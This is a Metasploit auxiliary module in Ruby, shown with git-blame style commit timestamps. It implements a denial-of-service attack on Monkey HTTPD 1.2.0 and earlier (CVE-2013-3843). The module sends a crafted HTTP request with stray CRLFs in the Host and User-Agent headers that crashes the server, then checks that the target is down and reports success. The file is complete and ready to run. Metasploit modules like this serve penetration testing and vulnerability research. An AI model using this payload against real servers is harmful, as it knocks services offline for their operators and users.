2013-06-13 20:56:34 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-06-13 20:56:34 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-07 08:56:58 +00:00
|
|
|
class Metasploit < Msf::Auxiliary
|
2013-06-13 20:56:34 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Dos
|
2013-06-13 20:56:34 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Monkey HTTPD Header Parsing Denial of Service (DoS)',
|
|
|
|
'Description' => %q{
|
|
|
|
This module causes improper header parsing that leads to a segmentation fault
|
|
|
|
due to a specially crafted HTTP request. Affects version <= 1.2.0.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Doug Prostko <dougtko[at]gmail.com>'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2013-3843'],
|
|
|
|
['OSVDB', '93853'],
|
2015-10-27 17:41:32 +00:00
|
|
|
['BID', '60333']
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'May 30 2013'))
|
2013-06-13 20:56:34 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(2001)
|
|
|
|
], self.class)
|
|
|
|
end
|
2013-06-13 20:56:34 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def dos
|
|
|
|
req = "GET / HTTP/1.1\r\n"
|
|
|
|
req << "Host:\r\n\r\nlocalhost\r\n"
|
|
|
|
req << "User-Agent:\r\n\r\n"
|
2013-06-13 20:56:34 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
connect
|
|
|
|
sock.put(req)
|
|
|
|
disconnect
|
|
|
|
end
|
2013-06-13 20:56:34 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def is_alive?
|
|
|
|
begin
|
|
|
|
connect
|
|
|
|
rescue Rex::ConnectionRefused
|
|
|
|
return false
|
|
|
|
ensure
|
|
|
|
disconnect
|
|
|
|
end
|
2013-06-13 20:56:34 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
true
|
|
|
|
end
|
2013-06-13 20:56:34 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
print_status("#{rhost}:#{rport} - Sending DoS packet...")
|
|
|
|
dos
|
2013-06-13 20:56:34 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("#{rhost}:#{rport} - Checking server status...")
|
|
|
|
select(nil, nil, nil, 1)
|
2013-06-13 20:56:34 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if is_alive?
|
|
|
|
print_error("#{rhost}:#{rport} - Server is still alive")
|
|
|
|
else
|
|
|
|
print_good("#{rhost}:#{rport} - Connection Refused: Success!")
|
|
|
|
end
|
|
|
|
end
|
2013-06-13 20:56:34 +00:00
|
|
|
end
|